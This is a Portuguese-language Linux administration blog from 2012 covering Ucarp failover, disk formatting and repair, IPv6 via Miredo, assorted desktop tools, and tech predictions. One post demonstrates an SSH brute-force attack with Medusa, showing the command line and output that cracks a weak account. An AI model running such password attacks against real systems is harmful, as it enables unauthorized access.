sexta-feira, 28 de dezembro de 2012

Alta disponibilidade com Ucarp

Uma forma muito fácil e eficiente de ter alta disponibilidade em um sistema é utilizando dois servidores rodando o Ucarp.


Vamos supor que tenhamos dois servidores rodando o Squid (pode ser com qualquer software). O master está com o ip 10.50.0.144, e o slave com 10.50.0.146. O cluster funciona disponibilizando um terceiro ip 10.50.0.145 que vai migrar entre os servidor em caso de pane no master.

O primeiro passo é instalar o Ucarp. No Debian, use:

$ apt-get install ucarp

As opções do Ucarp são as seguintes:

-i Interface de rede a ser monitorada. Ex: -i eth0
-s Ip real da interface. Ex: -s 10.50.0.144
-v Id da vlan. Podem haver outros dispositivos em cluster na rede. Cada conjunto deve conter um id único. Ex: -v 140
-p Senha usada no cluster. Ex: -p 123456
-a Ip virtual da interface. Ex: -a 10.50.0.145
-u Script a ser executado quando o equipamento em questão assumir o cluster. Ex: -a /usr/local/sbin/up.sh
-d Script a ser executado quando o equipamento em questão deixar de ser o master no cluster. Ex: -d /usr/local/sbin/down.sh
-P Diz ao ucarp para sempre tentar ser o master no cluster, mesmo após um problema neste nó. Se essa opção não for especificada, caso aconteça algo no master, o cluster vai migrar para o slave, mas não voltará quando o master voltar a operar normalmente.
-B Faz o ucarp rodar em segundo plano. 

No nosso exemplo, basta colocar a seguinte linha dentro do arquivo /etc/rc.local do servidor que será master.

/usr/sbin/ucarp -i eth0 -s 10.50.0.144 -v 140 -p 123456 -a 10.50.0.145 -u /usr/local/sbin/up.sh -d /usr/local/sbin/down.sh -P -B

No slave, inclua a mesma linha, omitindo o parâmetro -P

/usr/sbin/ucarp -i eth0 -s 10.50.0.144 -v 140 -p 123456 -a 10.50.0.145 -u /usr/local/sbin/up.sh -d /usr/local/sbin/down.sh -B

Em seguida, crie o arquivo /usr/local/sbin/up.sh em ambos os servidores. Este arquivo deve conter os comandos necessários para que o servidor assuma as funções de master, como por exemplo levantar a interface virtual e reiniciar os processos para que estes façam bind na nova interface. No nosso exemplo,  o script terá o seguinte conteúdo:

#!/bin/bash
/sbin/ifconfig eth0:0 10.50.0.145 netmask 255.255.255.0
/etc/init.d/squid3 start

Crie também o arquivo /usr/local/sbin/down.sh em ambos os servidores. Esse arquivos deve conter os  comandos necessários para que o servidor deixe de ser master. No nosso exemplo, bastaria o seguinte:

#!/bin/bash
/sbin/ifconfig eth0:0 down
/etc/init.d/squid3 stop

Torne os dois arquivos executáveis em ambos os servidores.

$ chmod +x /usr/local/sbin/up.sh /usr/local/sbin/down.sh

Reinicie os servidores e faça os testes. Eu uso o Ucarp em cluster de gateways, proxys e bancos de dados há quase dois anos e ele sempre funcionou perfeitamente. 

Obs: Essa solução envolve alta disponibilidade para problemas de rede. Problemas com desempenho e bug em aplicações não são contemplados nesta solução.

quinta-feira, 27 de dezembro de 2012

Proxmox, virtualização profissional

Quem quer uma solução de virtualização profissional, o Proxmox é uma ótima opção.



















A nova versão melhorou muito e muitas das funções que só estavam disponíveis via linha de comando agora estão integradas na Interface Web. Entre suas características estão:

  • Opensource;
  • Interface Web;
  • Suporte a Active Directory;
  • Vários níveis de permissão por usuários, grupos, vm e tipo de ação;
  • Suporte a OpenVZ;
  • Suporte a storage externo;
  • Snapshot e backup agendado de vm;
  • Mudança de configuração do hardware da vm "a quente";
  • Migração de vm "a quente";
  • Alta disponibilidade


Vale a pena analisar essa ferramenta. A instalação é simples e a interface é intuitiva. Você não terá dificuldades em aprender a mexer com ela. 

O site oficial do programa é http://wwww.proxmox.com/.



quarta-feira, 26 de dezembro de 2012

Previsões para o futuro


Final de anos, experanças renovadas, e o pessoal fazendo aquelas previsões para o futuro (como se fosse possível fazer previsões para o passado!). Pois bem, eu também vou fazer as minhas.

Essas previsões são baseadas nos artigos e notícias que tenho lido nos últimos anos. E prá que serve isso? Serve para fazer uma análise de como será o mundo daqui a alguns anos e o que eu preciso fazer para me preparar para ele. Quando o futuro chegar, eu estarei preparado!

Em 2013

O uso de smartphones com acesso a Internet se popularizará no Brasil, principalmente depois da implantação da rede 4g, que deve começar oficialmente em abril. Esse equipamentos rodarão principalmente Android. E o FirefoxOS deverá vir instalado em alguns smartphones, e deve se beneficiar da banda 3/4g. Avanços na área de hardware, como novos tipos de baterias e de memórias mais rápidas e com maior capacidade, devem contribuir para baixar o preço dos equipamentos eletrônicos, principalmente tablets. Por isso, o número de pessoas conectadas deve chegar a 1,5 bilhão. Por causa dussi, algumas mudanças na intraestrutura serão necessárias, como a implantação do ipv6 em todos os sites, e o uso mais abrangente e popular da nuvem. Virtualização e cloud devem crescer, e o uso de desktop diminuir. Visualização de videos deverá ser o grande vilão de banda da Internet com cerca de 2/3 do uso. O iGoogle deverá deixar de existir, infelizmente, em novembro, bem como o Hotmail (que vira Outlook) e o Msn (Skype). Empresas privadas começarão a investir em viagens espaciais, os vants serão comercializados, e as montadoras começarão a vender carros elétricos para o público em geral. O sol estará no pico de sua atividade, podendo gerar problemas de comunicação.

Em 1 anos

50% da população mundial terá acesso à Internet, principalmente por dispositivos móveis. Um grande aumento virá da África. A banda larga popular deverá atingir velocidades de 4Mbps, com o governo obrigando as operadoras a garantir 40% da banda. Ou seja, velocidade mínima de 800Kbps. Os tablets atingirão 60% do mercado de computadores. Com o mercado móvel aumentando, as propagandas direcionadas para esse dispositivos também aumentarão, bem como as aplicações de realidade aumentada e os jogos sociais. Haverá 3,8 bilhões de contas de e-mail ativas no mundo e o html5 deverá sair do estágil beta. Televisores com resolução de 4k (4 vezes melhor que a FullHD) deverão ser comercializados, principalmente para a copa do mundo. A energia aeólica será mais utilizada. E os vants deverão monitorar as ruas durante a copa. E uma nova missão deve enviar um robô à Lua.

Em 2 anos

O tráfego da Internet será 4 vezes maior do que em 2011, principalmente devido aos seus 15 bilhões de dispositivos conectados. O volume de informação digital no mundo deve atingir 8 zetabytes, com 970 hexabytes trafegando anualmente, sendo 6,3 hexabytes por dispositivos móveis. O desenvolvimento para smartphone e tablet será maior do que para desktop. O smartphone também será usado para efetuar pagamentos, sendo que metade rodará alguma versão do Android, tendo o Windows e o iOS em segundo e terceiro lugar respectivamente. A computação em nuvem deve aumentar, bem como o número de empresas fornecedoras da solução. Por isso, muitos profissionais de TI mudarão para essas empresas, pois cada vêz mais as empresas migrarão suas infraestruturas para a nuvem. O mercado de gps deve diminuir, principalmente devido ao uso de smartphone e realidade aumentada.

Em 5 anos

O mercado de TI no Brasil deve crescer, fazendo com que a banda larga popular chegue a todo o país. As empresas passarão a colocar dados dos clientes na nuvem, enquanto que os usuários cada vêz menos armazenarão arquivos em seus equipamentos. Ou seja, tudo estará na nuvem. E cada vêz mais os funcionários conectarão seus equipamentos particulares na rede da empresa. O fim das transmissões de tv analógicas e a popularização do 4k farão com que as tv's de hoje pareçam coisas da pré-história. O índio, usado na fabricação das telas touchscreen, deverá ficar em falta no mercado, fazendo com que a tecnologia do Kinecct seja mais utilizada. O Linux será o principal sistema operacional do mundo. A realidade aumentada deverá ser largamente utilizada. Sondas devem ser enviadas para Júpiter e a Marte, bem como viagens turísticas em volta da Lua. 30% da energia elétrica do país não virá de hidroelétricas. O trem bala brasileiro entrará em operação, e a China será a maior potência econômica do mundo.

Em 10 anos

A energia solar será mais utilizada. Sistema ligados ao corpo poderão monitorar nossa saúde de forma on-line, enviando os dados para uma central médica. A Internet terá 200 bilhões de dispositivos conectados, gerando um total de 35 zetabytes de informação. Isso deve aquecer o mercado de TI, aumentando em 50% o número de profissionais da área. Todos os dispositivos eletrônicos estarão conectados à Internet de alguma forma, e cada pessoa terá em média 6 dispositivos on-line. Serão fabricados os televisores com 7700 x 4300 dpi. Começarão a aparecer as redes exclusivamente ipv6. Aparecerão os carros autônomos. 90% da população brasileira morará na zona urbana, e os vants serão usados pela polícia. O gelo do polo norte poderá derreter completamente.

Em 20 anos

Haverá tantos celulares no Brasil que será necessário um outro número, além do 9, para identificá-los. Muitos dispositivos serão controlados por comandos de voz e por ondas cerebrais. Lentes de contato poderão projetar imagens de realidade aumentada diretamente no olho. Robôs começarão e ser usados comercialmente para tarefas domésticas. Teremos links de 500Mbps em casa, e micros com 20Tb de dados, apesar do uso mais intenso da nuvem. A velocidade dos processadores chegará a casa dos terahertz. Todas as pessoas estarão conectadas de alguma forma à Internet. O Brasil terá 49  milhões de automóveis, e o etanol será mais usado do que a gasolina. Serão feitas operações a distância. Casas poderão ter, no lugar das janelas, monitores com imagens do mundo todo, além de monitorarem a nossa saúde. Também será possível fazer pequenos exames simplesmente usando o banheiro. Papel moeda será raro.

Em 50 anos

Teremos links de 5Gbps e 500Tb de espaço em casa, bem como processadores com velocidades na casa dos petahertz. A população do Brasil se estabililzará, enquando a produção de alimentos no mundo entrará em colapso. Por isso, é bem provável que haverá um conselho mundial com poderes militares na ONU. 70% da população mundial viverá em áreas urbanas.

Em 100 anos

Carros com piloto automático serão corriqueiros. O uso de lentes de contato projetoras integradas com realidade aumentada e conexão à Internet, comandas por ondas cerebrais, serão amplamente utilizadas. A temperatura da Terra deve aumentar em 6,4º.

segunda-feira, 17 de dezembro de 2012

Problemas ao desmontar dispositivos?

É comum hoje em dia utilizarmos vários mapeamentos de rede (samba e nfs) e drives portáteis, como pendrives e hd externo. E principalmente com o samba (compartilhamento Windows), as vezes ocorre um problema para desmontar a unidade mapeada. Isso ocorre quando a máquina que faz o papel de servidor é desligada antes do mapeamento ser desfeito. Também ocorre quando se tira o drive externo (pen drive) antes de desmontar o dispositivo. Nestes casos o comando "umount"  parece não funcionar. Para resolver o problema use o parâmetro "-l".

# umount -l /mnt/samba

Este comando apaga todas as referências ao sistema em questão. Se há informações não salvas elas estarão perdidas. Portanto, só use esse comando em casos extremos.

sexta-feira, 14 de dezembro de 2012

Como formatar um disco no Linux


No sistema Windows é comum o termo "formatar o disco". Em Linux, essa ação é chamada de "criar um sistema de arquivos".

No Windows, temos basicamente dois sistemas de arquivos: o Fat (em suas várias versões) e o Ntfs. No Linux, há uma infinidade de sistemas de arquivos diferentes para as mais variadas tarefas. Se você quer "formatar" um pendrive para usá-lo em todos os tipos de computadores, formate-o com Fat.

No Linux, o comando mais usado para criar um sistema de arquivos é o mkfs. No exemplo abaixo, vamos formatar a partição /dev/sda5.

# fdisk -l /dev/sda5
GNU Fdisk 1.2.4
Copyright (C) 1998 - 2006 Free Software Foundation, Inc.
This program is free software, covered by the GNU General Public License.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.


Disk /dev/sda5: 1 GB, 1019934720 bytes
255 heads, 63 sectors/track, 124 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

    Device Boot      Start         End      Blocks   Id  System 
/dev/sda5p1               1         125     1004031   83  Linux 
Warning: Partition 1 does not end on cylinder boundary.                

Para ver quais sistemas de arquivos o mkfs pode criar, digite mkfs e tecle TAB duas vezes.

# mkfs

mkfs          mkfs.btrfs    mkfs.ext2     mkfs.ext4     mkfs.minix    mkfs.ntfs     
mkfs.bfs      mkfs.cramfs   mkfs.ext3     mkfs.ext4dev  mkfs.msdos    mkfs.vfat     

Primeiramente vamos criar um sistema de arquivos FAT...

# mkfs.vfat /dev/sda5
mkfs.vfat 3.0.9 (31 Jan 2010)

montamos o disco...

# mount /dev/sda5 /mnt/sda5/

e vemos quanto espaço temos disponível.

# df -h /dev/sda5 
Sist. Arq.            Size  Used Avail Use% Montado em
/dev/sda5             975M  4,0K  975M   1% /mnt/sda5

Para criar um NTFS...

# umount /dev/sda5 
# mkfs.ntfs /dev/sda5
Cluster size has been automatically set to 4096 bytes.
Initializing device with zeroes: 100% - Done.
Creating NTFS volume structures.
mkntfs completed successfully. Have a nice day.
# mount /dev/sda5 /mnt/sda5/
# df -h /dev/sda5 
Sist. Arq.            Size  Used Avail Use% Montado em
/dev/sda5             977M  5,4M  972M   1% /mnt/sda5

Ext2...

# umount /dev/sda5 
# mkfs.ext2 /dev/sda5
mke2fs 1.41.12 (17-May-2010)
/dev/sda5 alignment is offset by 512 bytes.
This may result in very poor performance, (re)-partitioning suggested.
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
Stride=1 blocks, Stripe width=0 blocks
62592 inodes, 250000 blocks
12500 blocks (5.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=260046848
8 block groups
32768 blocks per group, 32768 fragments per group
7824 inodes per group
Superblock backups stored on blocks: 
32768, 98304, 163840, 229376

Writing inode tables: done                            
Writing superblocks and filesystem accounting information: done

This filesystem will be automatically checked every 20 mounts or
180 days, whichever comes first.  Use tune2fs -c or -i to override.
# mount /dev/sda5 /mnt/sda5/
# df -h /dev/sda5 
Sist. Arq.            Size  Used Avail Use% Montado em
/dev/sda5             962M  1,3M  912M   1% /mnt/sda5

Ext4...

# umount /dev/sda5 
# mkfs.ext4 /dev/sda5
mke2fs 1.41.12 (17-May-2010)
/dev/sda5 alignment is offset by 512 bytes.
This may result in very poor performance, (re)-partitioning suggested.
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
Stride=1 blocks, Stripe width=0 blocks
62592 inodes, 250000 blocks
12500 blocks (5.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=260046848
8 block groups
32768 blocks per group, 32768 fragments per group
7824 inodes per group
Superblock backups stored on blocks: 
32768, 98304, 163840, 229376

Writing inode tables: done                            
Creating journal (4096 blocks): done
Writing superblocks and filesystem accounting information: done

This filesystem will be automatically checked every 24 mounts or
180 days, whichever comes first.  Use tune2fs -c or -i to override.
# mount /dev/sda5 /mnt/sda5/
# df -h /dev/sda5 
Sist. Arq.            Size  Used Avail Use% Montado em
/dev/sda5             974M   30M  896M   4% /mnt/sda5

E o novo sistema Btrfs...

# umount /dev/sda5 
# mkfs.btrfs /dev/sda5

WARNING! - Btrfs Btrfs v0.19 IS EXPERIMENTAL
WARNING! - see http://btrfs.wiki.kernel.org before using

fs created label (null) on /dev/sda5
nodesize 4096 leafsize 4096 sectorsize 4096 size 976.56MB
Btrfs Btrfs v0.19
# mount /dev/sda5 /mnt/sda5/
# df -h /dev/sda5 
Sist. Arq.            Size  Used Avail Use% Montado em
/dev/sda5             977M   56K  851M   1% /mnt/sda5

Reparem que o tamanho real disponível para uso depende do sistema de arquivo. Geralmente, quanto mais seguro o sistema, maior o espaço utilizado para consistências e, consequentemente, menor o espaço "útil" disponível no disco. A excessão é o Ext2 se comparado ao Ntfs.

quinta-feira, 13 de dezembro de 2012

Disco com defeito? Use Myrescue

Se você está tendo problemas ao tentar ler um disco, pode ser que o disco esteja com defeito (badblock). Discos rígidos, pendrives, cd, dvd e qualquer tipo de midia pode sofrer problemas de corrosão, falhas magnéticas, riscos, etc. Todas essas falhas podem ser testadas, e quando possível corrigidas, com o comando badblocks, como expliquei em um artigo há alguns dias.

Mas, e se mesmo após o badblocks e o fsck serem usados o disco continuar inacessível? Neste caso, tente usar o Myrescue.

O Myrescue lê todo o disco tentando várias vezes os setores com defeito e gera uma imagem do disco. Essa imagem pode ser montada via loopback.

Para exemplificar seu uso, eu estava com um cd do Ubuntu que não conseguia ler. Usei o Myrescue para tentar criar uma imagem deste cd.

# myrescue /dev/sr0 ubuntu.iso
block 000173028 (000000000-000179057)   ok 000173028   bad 000000000   src read failed: Input/output error
block 000173085 (000000000-000179057)   ok 000173084   bad 000000001   src read failed: Input/output error
block 000174281 (000000000-000179057)   ok 000174279   bad 000000002   src read failed: Input/output error
block 000174292 (000000000-000179057)   ok 000174289   bad 000000003   src read failed: Input/output error
block 000174303 (000000000-000179057)   ok 000174299   bad 000000004   src read failed: Input/output error
block 000174304 (000000000-000179057)   ok 000174299   bad 000000005   src read failed: Input/output error
block 000174305 (000000000-000179057)   ok 000174299   bad 000000006   src read failed: Input/output error
block 000174306 (000000000-000179057)   ok 000174299   bad 000000007   src read failed: Input/output error
block 000174307 (000000000-000179057)   ok 000174299   bad 000000008   src read failed: Input/output error
block 000174308 (000000000-000179057)   ok 000174299   bad 000000009   src read failed: Input/output error
block 000174309 (000000000-000179057)   ok 000174299   bad 000000010   src read failed: Input/output error
block 000174310 (000000000-000179057)   ok 000174299   bad 000000011   src read failed: Input/output error
...

A saída acima está resumida.

O Myrescue leu o cd e gerou um arquivo chamado ubuntun.iso. Esse arquivo eu pude montá-lo pelo comando mount.

# mount -o loop ubuntu.iso /media/cdrom
# ls /media/cdrom
autorun.inf  dists    isolinux  pics preseed    ubuntu
casper     install  md5sum.txt  pool README.diskdefines  wubi.exe
#

Isso não tornou o meu cd bootável, mas já foi possível ler alguns arquivos. Se esse cd contivesse arquivos realmente importantes eu conseguiria recuperá-los, pelo menos a maioria deles.

O uso do Myrescue não elimina outras opções de reparação profisisonais, mas já é uma grande ajuda. Tenha em mente também que você precisa ter espaço livre no disco suficiente para caber todo o drive/midia testada. Ou seja, para você recuperar um disco de 1Tb você precisará ter pelo menos 1Tb de espaço disponível.


quarta-feira, 12 de dezembro de 2012

IPv6 no Linux com Miredo

Se você quer ter suporte a IPv6 no Linux, basta instalar o Miredo.

apt-get install miredo

O Miredo fornece uma interface IPv6 do tipo Teredo. Com ele você pode navegar na Internet usando o novo protocolo IPv6.


teredo    Link encap:Não Especificado  Endereço de HW 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00  
          endereço inet6: fe80::ffff:ffff:ffff/64 Escopo:Link
          endereço inet6: 2001:0:53aa:64c:2009:5fca:3777:e46d/32 Escopo:Global
          UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1280  Métrica:1
          RX packets:31 errors:0 dropped:0 overruns:0 frame:0
          TX packets:111 errors:0 dropped:0 overruns:0 carrier:0
          colisões:0 txqueuelen:500 
          RX bytes:4353 (4.2 KiB)  TX bytes:10545 (10.2 KiB)


Se você não sabe o que é IPv6, veja os artigos abaixo.


Não é necessário nenhuma configuração extra. Se você estiver atrás de um firwall, basta liberar o acesso a porta UDP 3544 para o endereço 83.170.6.76. E também adicione o dns do Google em teu arquivo /etc/resolv.conf.


nameserver 2001:4860:4860::8888
nameserver 2001:4860:4860::8844



terça-feira, 11 de dezembro de 2012

Descobrindo senhas com Medusa

Medusa é uma aplicação usada para ataques de força bruta. Esse tipo de ataque consiste em tentar vários login/senha contra um alvo até que a senha seja descoberta.

Esse tipo de ataque é útil quando os usuários utilizam senhas fáceis, como sequencias numéricas, datas, palavras do dicionário, etc. Mesmo com um link de internet ruim, é possível testar centenas de logins por segundo. Ou seja, basta que o invasor rode o programa antes de dormir que pela manhã um par de usuário/login terá sido descoberto pela manhã.

A maioria das grandes empresas usam técnicas para evitar esse tipo de ataque, como bloqueio de usuários com falhas de login sucessivas, ferramentas de detecção de intrução, checagem de log, etc. Mas sempre tem aqueles que não se preocupam com isso.

Abaixo, um exemplo do uso, onde fiz um ataque via ssh, usando um arquivo contendo os usuários e um outro com senhas. A saída está resumida.

$ medusa -h servidor -U tmp/user.txt -P tmp/password.txt -M ssh -f 
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks


The default build of Libssh2 is to use OpenSSL for crypto. Several Linux
distributions (e.g. Debian, Ubuntu) build it to use Libgcrypt. Unfortunately,
the implementation within Libssh2 of libgcrypt appears to be broken and is
not thread safe. If you run multiple concurrent Medusa SSH connections, you
are likely to experience segmentation faults. Please help Libssh2 fix this
issue or encourage your distro to use the default Libssh2 build options.

ACCOUNT CHECK: [ssh] Host: servidor (1 of 1, 0 complete) User: root (1 of 3, 0 complete) Password: M[E4]rchen (1 of 60 complete)
ACCOUNT CHECK: [ssh] Host: servidor (1 of 1, 0 complete) User: root (1 of 3, 0 complete) Password: Aschenputtel (2 of 60 complete)
ACCOUNT CHECK: [ssh] Host: servidor (1 of 1, 0 complete) User: root (1 of 3, 0 complete) Password: Br[FC]derchen (3 of 60 complete)
ACCOUNT CHECK: [ssh] Host: servidor (1 of 1, 0 complete) User: root (1 of 3, 0 complete) Password: D[E4]umling (4 of 60 complete)
ACCOUNT CHECK: [ssh] Host: servidor (1 of 1, 0 complete) User: teste (3 of 3, 2 complete) Password: Simeliberg (22 of 60 complete)
ACCOUNT CHECK: [ssh] Host: servidor (1 of 1, 0 complete) User: teste (3 of 3, 2 complete) Password: Sterntaler (23 of 60 complete)
ACCOUNT CHECK: [ssh] Host: servidor (1 of 1, 0 complete) User: teste (3 of 3, 2 complete) Password: Tischlein (24 of 60 complete)
ACCOUNT CHECK: [ssh] Host: servidor (1 of 1, 0 complete) User: teste (3 of 3, 2 complete) Password: Vom (25 of 60 complete)
ACCOUNT CHECK: [ssh] Host: servidor (1 of 1, 0 complete) User: teste (3 of 3, 2 complete) Password: teste (26 of 60 complete)
ACCOUNT FOUND: [ssh] Host: servidor User: teste Password: teste [SUCCESS]

Neste caso, no servidor existe um usuário "teste" com a senha "teste".

O Medusa tem módulos para vários aplicações, como ftp, pop3, Mysql, Web, etc. Com um man medusa você obtém uma lista dos parâmetros que podem ser passados ao medusa.

Para instalá-lo, use o famoso apt-get install medusa.

quarta-feira, 5 de dezembro de 2012

Lxde, um ambiente gráfico leve e bonito

No mundo Linux, estamos acostumados com praticamente três ambientes gráficos: Kde, Gnome e Unity (usado pelo Ubuntu). Mas existe uma infinidade de gerenciadores de janelas para os mais diversos gostos, como o Window Maker, Backbox, AfterStep, etc.

Um ambiente que está sendo cada vez mais usado é o Lxde, principalmente por que as últimas versões do Kde e Gnome são muito pesadas e não agradaram a muitos, sem falar no Unity que também não agradou


Uma ótima alternativa para o teu desktop Linux. Ele já é o meu segundo ambiente. Ainda prefiro o Gnome versão 2, mas a versão 3 não me agradou. Provavelmente eu vou migrar para o Lxde mais cedo ou mais tarde.

Para instalá-lo, use apt-get install lxde.


terça-feira, 4 de dezembro de 2012

Como checar se seu disco tem erros físicos

No Linux, um utilitário que testa o disco em busca de erros físicos, semelhante ao Scandisk do Windows, é o Badblocks.

Entre as várias opções, as que eu mais uso são :

-w : faz o teste escrevendo no disco. Ela apaga todos os dados. Ideal para usar em um disco novo;
-n : faz o teste escrevendo no disco, mas não apaga os dados.
-v : mostra um pouco mais de informaçoes, visto que o programa é bem espartano.

Abaixo eu mostro a saída do comando onde testo um pendrive.

root@notebook:/home/ricardo# badblocks -nv /dev/sdb1
Checking for bad blocks in non-destructive read-write mode
From block 0 to 779120
Testing with random pattern: Pass completed, 0 bad blocks found.
root@notebook:/home/ricardo#

Se forem encontrados erros, o número do bloco será mostrado. Em um disco rígido grande, esse teste opde demorar algumas horas. Em um disco de 1Tb isso pode levar 3 dias.

sexta-feira, 30 de novembro de 2012

Navegando na Internet em modo texto.

Se você administra algum servidor Linux/Unix provavelmente está acostumado com o terminal. Geralmente um servidor Linux não possue interface gráfica, e algumas vezes precisamos navegar pela Internet. Como resolver isso?

Para nevegação em modo texto temos três grandes softwares. O Links, o Lynx, e o Links2.

O Links é o mais espartano. Em sua configuração padrão, ele mostra as páginas com apenas um tipo de fonte e em uma única cor. Não mostra figuras, a menos que você recompile o programa. Veja como fica o site da Uol pelo Links:


Já o Lynx possuem um colorido mais elegante.


O Llinks2 basicamente é um Links compilado com o módulo gráfico habilitado.


Os três programa estão disponíveis via apt-get.


quinta-feira, 29 de novembro de 2012

Conversão de audio com Lame

Há algum tempo atrás eu publiquei um post mostrando como converter arquivos de video e audio usando o ffmpe. Agora eu vou mostrar o Lame.

O Lame é voltado para  trabalhar com arquivos de audio, oferecendo várias opções de qualidade, tipo, tamanho, etc. Em sua forma mais simples, basta informar os arquivos de entrada e saída. 

$ lame entrada.mp3 saida.wma
ID3v2 found. Be aware that the ID3 tag is currently lost when transcoding.
LAME 3.98.4 32bits (http://www.mp3dev.org/)
CPU features: MMX (ASM used), SSE (ASM used), SSE2
Using polyphase lowpass filter, transition band: 16538 Hz - 17071 Hz
Encoding You're No Different (Album Version) .mp3
      to saida.wma
Encoding as 44.1 kHz j-stereo MPEG-1 Layer III (11x) 128 kbps qval=3
    Frame          |  CPU time/estim | REAL time/estim | play/CPU |    ETA 
 13369/13371 (100%)|    0:12/    0:12|    0:12/    0:12|   27.542x|    0:00 
------------------------------------------------------------------------------------------------
   kbps        LR    MS  %     long switch short %
  128.0        9.4  90.6        99.5   0.3   0.2
Writing LAME Tag...done
ReplayGain: -10.0dB
$

No exemplo acima, eu converti um arquivo mp3 para wma. Esse programa é ótimo para usar em scripts, ou para converter vários arquivos de uma vêz.

Para instalá-lo, use o tradicional apt-get install lame.

terça-feira, 27 de novembro de 2012

Cliente universal de vpn

O Kvpnc é um cliente vpn universal que funciona com a maioria dos servidores Vpn.



 Ele tem suporte aos seguintes padrões:

  • Cisco
  • IPSec
  • Freeswan
  • Openswan
  • StrongSwan
  • Racoon
  • Pptp (Microsoft)
  • Openvpn
  • L2TP
  • Vtun
  • OpenSSH



Faltou suporte ao Checkpoint. Mas nem a própria Checkpoint tem cliente para Linux, a não ser a vpn ssl deles.

Para instalar o cliente, basta digitar apt-get install kvpnc na linha de comando.

sexta-feira, 23 de novembro de 2012

Print de tela com Ksnapshot

Quem costuma escrever documentação de sistema, apostilas de software e tutoriais, deve estar acostumado a tirar print de tela. No Linux, uma ótima ferramernta para essa função é o Ksnapshot.



Com ele você pode tirar uma cópia da tela toda, somente de uma janela, de uma região selecionada com o mouse, ou de uma seção de uma janela; também pode programar um tempo de espera antes de tirar a "foto". Todos os meus posts são feitos usando essa ferramenta.

Quem usa o ambiente Kde já deve estar acostumado com esse aplicativo. Para os demais, um simples apt-get install ksnapshot instalará a programa.

quarta-feira, 21 de novembro de 2012

Gerenciamento gráfico de arquivos

No Linux, há dois ambiente gráficos principais: o Kde e o Gnome. Ambos possuem ferramentas gráficas para o gerenciamento de arquivos. Quem usa Kde está acostumado com o Konqueror, que tem suporte a abas, a divisão de janelas, a scp e ftp, como no print de tela abaixo, onde eu tenho aberto o ambiente de rede, um ftp e o meu diretório padrão, além de uma outra aba.



Quem usa Gnome provavelmente usa o Nautilus, que também tem suporte a rede e ftp, mas não a scp.


Independente do ambiente gráfico utilizado, você pode usar qualquer um dos gerenciadores de arquivos que quiser. Eu, por exemplo, uso Gnome, mas prefiro o Konqueror para administrar meus arquivos.

quarta-feira, 14 de novembro de 2012

Live cd Olonca - Versão 2012

Já faz algum tempo que eu trabalho numa distribuição personalizada do Linux contendo tudo o que eu preciso, desde ferramentas para manutenção em computadores e softwares para servidores, até jogos para demostrar para o meus amigos. Agora disponibilizo esse live cd.


Essa distro é baseada no Debian-CDD, mas foi praticamente feita do zero. Ainda não tem um instalador, afinal, não era essa a intensão; mas estou desenvolvendo um.

Entre os softwares, a distro contém:


  • Firefox;
  • Google Chromium (integrado com Squid e Dansguardian);
  • Tor navegator;
  • Clamav;
  • VirtualBox;
  • ManDVD;
  • 2ManDVD;
  • Openshot;
  • BROffice;
  • Evolution;
  • Supertux;
  • Extreme Tux Racer; 
  • Samba;
  • Webmin;
  • Miredo (suporte ipv6);
  • Apache2;
  • Arpwatch;
  • Metasploit;
  • Snort;
  • Fail2ban;
  • Vários drivers, inclusive para controladoras scsi da HP;
  • Várias ferramentas de manutenção.


E, claro, todos os softwares que já comentei aqui no meu blog, prontos para funcionar.

A iso está em http://dl.dropbox.com/u/1178568/olonca.iso, e o md5 é 91d8a12ba114d505e5699577562f6676


quarta-feira, 24 de outubro de 2012

Procurando arquivos com Kfind

Há duas semanas atrás eu publiquei um artigo mostrando como procurar arquivos através do find. Agora, prá você que acha muito complicado a interface de texto, o Kfind pode ser a opção melhor.


Através de uma interface gráfica é possível pesquisar por tipo de arquivo, por tamanho, data de criação, data de modificação, dono do arquivo, programa que o criou, e até pelo conteúdo dentro do arquivo. Uma mão na roda.

Se você use o Kde, já deve conhecer o Kfind. Senão, instale-o com:

apt-get install kfind.

quinta-feira, 18 de outubro de 2012

Apostila de Shell Script

Está disponível em https://hotfile.com/dl/175732443/a39e87e/ShellScript.zip.html um conjunto de matérias da LInux Magazine sobre Shell Script.

São vários arquivos pdf em uma série muito boa escrita por Julio Cezar Neves, um mago no assunto. A série segue uma sequência parecida com a do livro que li mesmo autor e que me fez criar gosto por programação de scripts.


quarta-feira, 10 de outubro de 2012

Procurando arquivos com Find

Depois de um mes de férias, volto a escrever no blog. Agora vou falar do find, uma ferramenta muito útil para procurar arquivos pela linha de comando. Melhor que explicá-lo é ver alguns exemplos de sua utilização.

Para listar todos os ítens da pasta /home/ricardo cujo nome contenha 2012 e a extenção .txt, use:

$ find /home/ricardo -name *2012*.txt
/home/ricardo/tmp/20120101.txt
/home/ricardo/ProgramasRFB/IRPF2012/TryLock2012.txt
/home/ricardo/Documentos/Documentacao/Outros/Compensacao_2012.txt
/home/ricardo/Documentos/Documentacao/Feitos/Feitos_2012.txt

Para encontrar o ítens da pasta /home/ricardo/Documentos modificados a menos de 3 dias e a mais de 1 dia, digite:

$ find /home/ricardo/Documentos/ -mtime -3 -mtime +1
/home/ricardo/Documentos/Contas
/home/ricardo/Documentos/Contas/Cartao_Credicard_20121008.pdf
/home/ricardo/Documentos/Contas/Bateria_celular.pdf

Para listar os ítens da pasta /home/ricardo que foram acessados a menos de 2 minutos, digite:

$ find /home/ricardo/ -amin -2
/home/ricardo/.config/chromium/Local State
/home/ricardo/.mozilla/firefox/ht1sguqp.default/sessionstore.js
/home/ricardo/.purple/certificates/x509/tls_peers/api.twitter.com
/home/ricardo/.purple/blist.xml
/home/ricardo/.gconfd/saved_state

Listando arquivos (apenas arquivos, sem pastas, links simbólicos, etc) da pasta /home/ricardo que foram acessados a menos de 1 minutos:

$ find /home/ricardo -amin -1 -type f
/home/ricardo/.mozilla/firefox/ht1sguqp.default/sessionstore.js
/home/ricardo/.mozilla/firefox/ht1sguqp.default/places.sqlite
